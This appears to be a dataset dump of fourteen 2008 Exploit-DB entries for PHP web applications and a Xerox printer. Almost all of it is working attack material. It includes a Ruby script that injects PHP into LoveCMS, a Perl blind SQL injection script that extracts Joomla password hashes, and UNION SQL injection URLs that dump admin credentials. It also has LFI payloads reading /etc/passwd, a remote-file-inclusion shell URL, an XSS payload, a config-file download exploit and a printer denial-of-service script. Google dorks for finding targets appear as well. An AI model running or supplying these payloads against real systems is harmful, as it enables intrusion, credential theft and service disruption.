QLWD/code_shield huggingface dataset:
标题: LoveCMS 1.6.2 Final - Remote Code Execution EDB-ID: 6209 CVE: 2008-3509 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-06 漏洞利用脚本: #!/usr/bin/ruby
#
## Exploit by PoMdaPiMp!
## ---------------------
##   pomdapimp(at)gmail(dotcom)
##
##   LoveCMS Exploit Series
##   Episode 1: adding a side block
##
##   Description: add some php into a block container
##                on the side of the site. phpinfo() is called.
##
##   Usage: ./LoveCMS_1_blocks.rb <host>
##   Ex:    ./LoveCMS_1_blocks.rb http://site.com/lovecms/
##
##   Tested on: lovecms_1.6.2_final (MacOS X, Xampp)
#

require 'net/http'
require 'uri'

@host = 'http://127.0.0.1/lovecms_1.6.2_final/lovecms/'

@host = ARGV[0] if ARGV[0]
@host += @host[-1, 1].to_s != '/' ? '/' : ''

if @host
  # --
  puts " + LoveCMS Exploit Series. #1: Adding side blocks."
  puts
  puts " : Attacking host: " + @host

  # --
  # Insert a new block
  res = Net::HTTP.post_form(URI.parse(@host + 'system/admin/addblock.php'),
                            {'submit'=>'1', 'title'=>'H4Ck', 'content' => 'phpinfo();', 'type' => 'php'})
  puts " :: Block inserted."

  # --
  # Build post variable for next step
  post_vars = {'submit' => 1}
  (1..50).each do |id|
    post_vars['position' + id.to_s] = 1
    post_vars['height' + id.to_s] = 1
    post_vars['visible' + id.to_s] = 1
  end
  # Make the block visible
  res = Net::HTTP.post_form(URI.parse(@host + 'system/admin/blocks.php'), post_vars )
  puts " :: Blocks displayed."

  # --
  puts
  puts " - Visit " + @host
end

# milw0rm.com [2008-08-06] URL: https://www.exploit-db.com/exploits/6209
标题: Dayfox Blog 4 - Multiple Local File Inclusions EDB-ID: 6203 CVE: 2008-3564 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-04 漏洞利用脚本: ########################################################################
             #                                                                      #
             #     ..:::::Dayfox Blog LOCAL FILE INCLUSION Vulnerbility ::::...     #           
             ########################################################################

Virangar Security Team

www.virangar.net

--------
Discoverd By :Virangar Security Team (hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra

& all virangar members & all iranian hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from ISCN
-----------------------------------
Download: http://www.dayfoxdesigns.co.nr
Dork:Powered by Dayfox Designs This is a port of WordPress  
-------------------------------------------------------------------------------------------------
vuln codes in index.php:
############line 140-144##################
if (isset($_GET["cat"])) {
    $page = 'entries/'.strip_tags(htmlspecialchars($_GET["cat"])).'.txt';
        if (file_exists($page)) {
            echo "<br /><a href=\"javascript: history.go(-1)\">&#60; Back</a>";
            @include ("$page");
############line 173-178###################
if (isset($_GET["p"])) {
    $page = 'entries/'.strip_tags(htmlspecialchars($_GET["p"])).'.txt';
    $pagecomments = 'entries/'.strip_tags(htmlspecialchars($_GET["p"])).'comments.txt';
        if (file_exists($page)) {
        echo '<br /><a href="javascript: history.go(-1)">&#60; Back</a>';
          include ("$page");
############line 209-213##################
if (isset($_GET["archive"])) {
    $page = 'entries/'.strip_tags(htmlspecialchars($_GET["archive"])).'.txt';
        if (file_exists($page)) {
        echo '<br /><a href="javascript: history.go(-1)">&#60; Back</a>';
          include ("$page");
----------------------------------------------------------------------------------------------------

exploit:
http://site.com/index.php?p=../../../../../../../etc/passwd%00        
http://site.com/index.php?cat=../../../../../../../etc/passwd%00
http://site.com/index.php?archive=../../../../../../../etc/passwd%00
--------
young iranian h4ck3rz

# milw0rm.com [2008-08-04] URL: https://www.exploit-db.com/exploits/6203
标题: Joomla! Component EZ Store Remote - Blind SQL Injection EDB-ID: 6199 CVE: 2008-3586 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-03 漏洞利用脚本: #!/usr/bin/perl
#Note:Sometimes you have to change the regexp to  viewcategory/catid,".$cid."
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print "                                                                  \n";
    print "   ################################################################\n";
  print "   #   Joomla Component EZ Store Blind SQL Injection Exploit      #\n";
  print "   #   Author:His0k4 [ALGERIAN HaCkeR]                            #\n";
  print "   #                                                              #\n";
  print "   #   Conctact: His0k4.hlm[at]gamil.com                          #\n";
  print "   #   Greetz:   All friends & muslims HacKeRs                    #\n";
  print "   #   Greetz2:  http://www.dz-secure.com                         #\n";
  print "   #                                                              #\n";
  print "   #   Dork:    inurl:com_ezstore                                 #\n";
  print "   #   Usage:   perl ezstore.pl host path <options>               #\n";
  print "   #   Example: perl ezstore.pl www.host.com /joomla/ -p 11 -c 2  #\n";
  print "   #                                                              #\n";
  print "   #   Options:                                                   #\n";
  print "   #     -t    Valid  procuct id                                  #\n";
  print "   #     -c    Category value of the following  product id        #\n";
  print "   ################################################################\n";

  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $cid     = $ARGV[2];
my $pid     = $ARGV[3];

my %options = ();
GetOptions(\%options, "c=i", "x=s", "p=i");

print "[~] Exploiting...\n";

if($options{"c"})
{
  $cid = $options{"c"};
}

if($options{"p"})
{
  $pid = $options{"p"};
}

syswrite(STDOUT, "[~] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $cid, $pid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $cid, $pid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[~] Exploiting done\n";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $cid   = shift;
  my $pid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_ezstore&Itemid=1&func=detail&id=".$pid." and (SUBSTRING((SELECT password FROM jos_users LIMIT 0,1),".$i.",1))=CHAR(".$h.")";
 
  if($options{"x"})
  {
    $ua->proxy('http', "http://".$options{"x"});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "viewcategory&catid=".$cid."";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

# milw0rm.com [2008-08-03] URL: https://www.exploit-db.com/exploits/6199
标题: k-links directory - SQL Injection / Cross-Site Scripting EDB-ID: 6192 CVE: 2008-3581 2008-3580 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-02 漏洞利用脚本: ================================================================================
|| K-Links Directory SQL-INJECTION, XSS                          
================================================================================

Application: K-Links Directory
------------

Website: http://turn-k.net/k-links
--------

Version: Platinum (All)
--------

About: Script for starting a profitable link directory website offering full-featured directory of resources/links similar to Yahoo-style search engine. Price 79-169$.
------

Googledork: Powered By K-Links Directory
-----------

Demo: http://klinksdemo.com
-----

[ SQL-INJECTION ]

http://host/report/-1[SQL]
http://host/visit.php?id=-1[SQL]
http://host/addreview/-1[SQL]
http://host/refer/-1[SQL]

===>>> Exploit:

http://host/report/-1 union select 1,2,3,concat(a_pass,0x3a,a_user),5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8 from platinum_admins where a_id=1/*


/* Admin Login -  http://host/admin 

Manage Templates => web-shell */


[ PASSIVE XSS  :)  ]

http://host/index.php?req=login&redirect=&login_message=<script>alert()</script>


Author: Corwin
-------                                     
 
Contact: corwin88[dog]mail[dot]ru
--------

# milw0rm.com [2008-08-02] URL: https://www.exploit-db.com/exploits/6192
标题: GreenCart PHP Shopping Cart - 'id' SQL Injection EDB-ID: 6189 CVE: 2008-3585 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-01 漏洞利用脚本: |___________________________________________________|
|
| GreenCart PHP Shopping Cart (id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|                                                   |
|
| script : http://www.pozscripts.com/product_details.php?item_id=1
|
| DorK   : inurl:classified/product_desc.php?id=
| DorK   : inurl:classified/store_info.php?id=
|___________________________________________________|






Exploit:  

www.[target].com/Script/product_desc.php?id=-118+UNION+SELECT+1,2,concat(admin_name,0x3e,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+FROM+sbclassified_admin--


www.[target].com/Script/store_info.php?id=-118+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat(admin_name,0x3e,pwd),18,19,20,21,22,23+FROM+sbclassified_admin--


www.[target].com/Script/product_desc.php?id=-118+UNION+SELECT+1,2,concat(admin_name,0x3e,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+FROM+sbclassified_admin--


www.[target].com/Script/product_desc.php?id=-118+UNION+SELECT+1,2,concat(admin_name,0x3e,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+FROM+sbclassified_admin--





____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-08-01] URL: https://www.exploit-db.com/exploits/6189
标题: Xerox Phaser 8400 - Remote Reboot (Denial of Service) EDB-ID: 6196 CVE: 2008-3571 类型: DOS 平台: HARDWARE 发布日期: 2008-08-03 漏洞利用脚本: #!/usr/bin/perl
# carved-out by: crit3rion, just making th3 world a b3tt3r plac3!
# Xerox_Remote_DoS.20080801.ver01 (tanx to dr0pz0N3 for reminding me to close my #$*&*! s0ck3t)
# Make: Xerox
# Model: Phaser 8400
# Firmware: 03/03/2004
#
# What's the deal?
# Apparently, if you send an empty packet to a Xerox Phaser 8400 printer
# the printer will reboot.  Tested successfully on four printers.
# 

# Let's not leave our maliciousness open to exploitation and errors!
use strict;
use warnings;
use IO::Socket::INET;

# What's your printer's IP Address?
print "Please enter the printers IP:\n";
my $ipaddr = <STDIN>;
chomp $ipaddr;

# Let's setup the connection...
my $socket = IO::Socket::INET->new(
 PeerPort => 1900,
 PeerAddr => $ipaddr,
 Proto => "udp" )
 or die "I tried. Maybe you entered the wrong IP?\n Maybe it's just my bad code...\n In any case, check: $@\n\n";

# Okay... Let's kill it.
$socket->send("");
$socket->close();

print "Done. It should have died.\n\n";
exit(1);

# milw0rm.com [2008-08-03] URL: https://www.exploit-db.com/exploits/6196
标题: E-Store Kit-1 < 2 PayPal Edition - 'pid' SQL Injection EDB-ID: 6193 CVE: 2008-3594 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-02 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability
##
## E-Store Kit-1                    ( viewdetails.php pid )
## E-Store Kit-2                    ( viewdetails.php pid )
## E-Store Kit-1 Pro PayPal Edition ( viewdetails.php pid )
## E-Store Kit-2 PayPal Edition     ( viewdetails.php pid )
##
## www.magicscripts.com
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ReaL-HaCk.NeT
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploites :]]-
##
## E-Store Kit-1                    www.Target.com/viewdetails.php?pid=-1+UNION+SELECT+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,AdminPassword,0,0+FROM+mp2settings--
## E-Store Kit-2                    www.Target.com/viewdetails.php?pid=-1+UNION+SELECT+0,0,0,0,0,0,0,0,0,0,0,AdminPassword,0,0+FROM+mp2settings--
## E-Store Kit-1 Pro PayPal Edition www.Target.com/viewdetails.php?pid=-1+UNION+SELECT+0,0,AdminPassword,0,0,0,0,0,0,0,0+FROM+mp2settings--
## E-Store Kit-2 PayPal Edition     www.Target.com/viewdetails.php?pid=-1+UNION+SELECT+0,0,0,0,0,0,0,0,0,0,0,AdminPassword,0,0+FROM+mp2settings--
##
########################
########################
--[[ NOTE ]]--
In admin panel none username only admin password ;D
 
#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
:: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2008-08-02] URL: https://www.exploit-db.com/exploits/6193
标题: phsBlog 0.1.1 - Multiple SQL Injections EDB-ID: 6190 CVE: 2008-3588 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-01 漏洞利用脚本: #####################################################################################
#
#   Name    :   phsBlog v0.1.1 Multiple Remote SQL Injection Vulnerabilities
#   Author  :   cOndemned [Dark-Coders member]
#   Greetz  :   ZaBeaTy, GregStar, str0ke, 0in, suN8Hclf, ixos, TBH, Avantura :**
#
#####################################################################################


Proof of Concept :

    Magic Quotes = On/Off 

        http://[host]/[phsBlog_path]/comments.php?eid=-1+UNION+SELECT+concat_ws(0x3a,username,password),2+FROM+phsblog_users/*

    Magic Quotes = Off

        http://[host]/[phsBlog_path]/index.php?cid='-1+UNION+SELECT+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13+FROM+phsblog_users/*
        http://[host]/[phsBlog_path]/entries.php?urltitle='-1+UNION+SELECT+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13+FROM+phsblog_users

# milw0rm.com [2008-08-01] URL: https://www.exploit-db.com/exploits/6190
标题: E-topbiz Dating 3 PHP Script - 'mail_id' SQL Injection EDB-ID: 6184 CVE: 2008-3490 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-01 漏洞利用脚本: ================================================================================
|| Dating 3 PHP Script SQL-INJECTION
================================================================================

Application: E-topbiz Dating 3 PHP Script
------------

Version: 1.0
--------

Website: http://e-topbiz.com/oprema/pages/dating3.php
--------

Demo: http://e-topbiz.com/trafficdemos/dating3
-----

Version: 3.0
--------

About: Dating 3 is a very powerful top quality dating php script for webmasters who wish to run an online dating site.
------

Date: 01-08-2008
-----

[ VULNERABLE CODE ]

members/mail.php

@Line:

  142:     if($action==inbox) { 
  143:     $result=mysql_query("select * from mail where UserTo ='$username' ORDER BY SentDate DESC") or die ("cant do it"); 


  150:     if($action==veiw) { 
  151:     $result=mysql_query("select * from mail where UserTo='$username' and mail_id=$mail_id") or die ("cant do it"); 



===>>> Exploit:

Must be authenticated as a regular user.

http://host/members/mail.php?action=veiw&mail_id=-1 union select 1,2,3,concat(username,0x3a,password),5,6,7 from admin/*



Author: Corwin
-------                                     
 
Contact: corwin88[dog]mail[dot]ru
--------

# milw0rm.com [2008-08-01] URL: https://www.exploit-db.com/exploits/6184
标题: ABG Blocking Script 1.0a - 'abg_path' Remote File Inclusion EDB-ID: 6183 CVE: 2008-3570 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-01 漏洞利用脚本: =================================================================
========Africa Be Gone version 1.0a Remote File Inclusion========
=================================================================

Vendor: http://www.africabegone.com
Download: http://www.africabegone.com/includes/downloads/index.php?file=1&sort=1
Discovered: 7-31-08
Discovered By: Lo$er

====Vulnerable code====

$abg_path is initilizied but overwritten later down the road.

====RFI====

http://www.[site].com/[abg path]/index.php?abg_path=[shell]?

# milw0rm.com [2008-08-01] URL: https://www.exploit-db.com/exploits/6183
标题: eStoreAff 0.1 - 'cid' SQL Injection EDB-ID: 6187 CVE: 2008-3484 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-01 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability
##
## eStoreAff V0.1 ( index.php menu )
##
## www.estoreaff.com
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.AtsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
##  www.Target.com/index.php?menu=showcat&cid=-1+union+select+010,CONCAT_WS(0x3a,user,pass)MrSQL,010+from+admin--
##
########################
########################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: Milw0rM :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-08-01] URL: https://www.exploit-db.com/exploits/6187
标题: moziloCMS 1.10.1 - 'download.php' Arbitrary Download File EDB-ID: 6194 CVE: 2008-3589 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-02 漏洞利用脚本: #!/usr/bin/perl
#
# moziloCMS 1.10.1 Perl exploit
#
# discovered & written by Ams
# ax330d [doggy] gmail [dot] com
#
# DESCRIPTION:
# Vulnerability hides in "download.php", which we can use to download any file we want to.
# Here, for example, "admin/conf/logindata.conf". (Btw, not very smart solution to keep it open
# not looking on that it is protected by .htaccess)
# Script does not filters global params, it only checks whether local file exists...
# (By the way, all downloads are logged to "/conf/downloads.conf")
#
# USAGE:
# Run exploit :perl expl.pl http://www.site.com
#
# NEEDED:
# magic_quotes_gpc = off
#

use strict;
use IO::Socket;

print "\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 \n\t\t moziloCMS 1.10.1 exploit (by Ams)
 \n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

if(@ARGV<1){
 die "\n\tUsage:\texpl.pl [host]\n\n
 \n\tExample:\texpl.pl http://localhost/blog/\n\n";
}

my $expl_url = $ARGV[0];

print "\n\t[~] Starting exploit...\n";

if($expl_url =~ m#http://#) {
 exploit($expl_url);
} else {
 exploit('http://'.$expl_url);
}

sub exploit {
 
 # Defining vars.
 my $site = pop @_;
 my ($a, $b, $c, @d) = split /\//,$site;
 my $path = join('/',@d);
 my $host = $c;
 if($path) {$path = '/'.$path;}
 my ($length, $packet, $downloaded, $injection);
 
 # Revealing /data/sess.php.
 print "\n\t[~] Sending request to 'downloads.php'...\n";
 $injection = "file=hola&cat=../admin/conf/logindata.conf%00";
 $length = length($injection);
 $packet = "POST $path/download.php HTTP/1.1\r\n";
 $packet .= "Host: $host\r\n";
 $packet .= "Connection: Close\r\n";
 $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
 $packet .= "Content-Length: $length\r\n\r\n";
 $packet .= "$injection";
 $downloaded = send_surprise($host, $packet, 1);
 
 if($downloaded =~ /hackin/) {
  print "\n\t[-] Exploiting failed...\n";
 } elsif ($downloaded =~ /200 OK/) {
  # Parsing and saving received data.
  $downloaded =~ /\r\n\r\n/ ;
  $downloaded = $';
  
  open(DOWNL, ">hola.txt");
  print DOWNL $downloaded;
  close(DOWNL);
  print "\n\t[+] Looks like ok! Check hola.txt\n";
 } else {
  print "\n\t[-] Exploiting failed...\n";
 }
}

sub send_surprise() {
  
 my $dat = 1;
 my ($host, $packet, $ret) = @_;
 my $socket=IO::Socket::INET->new(
  Proto=>"tcp",
  PeerAddr=>$host,
  PeerPort=>"80"
 );
 if( ! $socket) {
  return 0;
 } else {
  
  print $socket $packet;
  if($ret) {
   my $rcv;
   while($rcv = <$socket>) {
   $dat .= $rcv;
   }
  }
  close ($socket);
  return $dat;
 }
}

# milw0rm.com [2008-08-02] URL: https://www.exploit-db.com/exploits/6194
标题: Scripts24 iTGP 1.0.4 - 'id' SQL Injection EDB-ID: 6185 CVE: 2008-3491 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-01 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability
##
## iTGP ( go.php action )
##
## www.scripts24.com
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.AtsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
##  www.Target.com/go.php?action=report&id= Rial id here +UNION+SELECT+010,CONCAT_WS(0x3a,username,password)MrSQL+FROM+itgp_moderator--
##
########################
########################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: Milw0rM :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-08-01] URL: https://www.exploit-db.com/exploits/6185